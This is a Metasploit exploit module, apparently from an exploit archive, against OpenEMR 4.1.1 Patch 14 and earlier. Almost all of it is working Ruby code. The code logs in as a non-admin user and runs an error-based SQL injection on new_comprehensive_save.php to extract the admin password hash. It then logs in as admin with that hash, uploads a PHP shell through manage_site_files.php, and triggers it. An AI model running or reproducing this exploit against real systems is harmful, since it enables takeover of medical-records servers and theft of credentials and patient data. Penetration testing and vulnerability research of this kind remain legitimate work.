OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution Exploit

:
24.09.2013
:
OpenEMR <= 4.1.1 Patch 14
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.
When logging in as any non-admin user it's possible to retrieve the admin SHA1 password
hash from the database through SQL injection. The SQL injection vulnerability exists
in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin
user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
['EDB', '28329']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['OpenEMR', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 16 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']),
OptString.new('USER', [true, 'The non-admin user', '']),
OptString.new('PASS', [true, 'The non-admin password', ''])
], self.class)
end

def peer
return "#{rhost}:#{rport}"
end

def uri
return target_uri.path
end

def check
# Check version
print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "interface", "login", "login.php")
})

if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} detected")

if version < "4.1.2"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def login(base, name, pass)
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}", "interface", "main", "main_screen.php"),
'vars_get' => {
"auth" => "login",
"site" => "default"
},
'vars_post' => {
'authProvider' => 'Default',
'authUser' => "#{name}",
'authPass' => "#{pass}"
}
})

if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/
session = $1
print_status("#{rhost}:#{rport} - Login successful")
print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
return session
else
fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
end
end

def exploit
# Password should be converted to a SHA1 hash
password = Rex::Text.sha1(datastore['PASS'])

# Login as non-admin
cookie = login(uri, datastore['USER'], password)

sqlq = rand_text_alpha(8)
# Generate random string and convert to hex
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join

# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"

post_data = "form_pubpid=#{sqli}"
print_status("#{peer} - Retrieving admin password hash through SQLi")
res = send_request_cgi({
'method' => 'POST',
'data' => post_data,
'cookie' => "OpenEMR=#{cookie}",
'uri' => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php")
})

if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
adminhash = $1
print_status("#{peer} - Admin password hash is [ #{adminhash} ]")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving admin password failed!")
end

# Login as admin and retrieve cookie
cookie = login(uri, "admin", "#{adminhash}")

# Random filename
payload_name = rand_text_alpha(rand(10) + 5) + '.php'

post_data = Rex::MIME::Message.new
post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"")
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"")
file = post_data.to_s
file.strip!

print_status("#{peer} - Uploading shell [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "interface", "super", "manage_site_files.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "OpenEMR=#{cookie}",
'data' => file
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /#{payload_name}/
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
end

register_file_for_cleanup(payload_name)

print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "sites", "default", "images", "#{payload_name}")
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
print_error("#{peer} - Unexpected response, exploit probably failed!")
end

end

end

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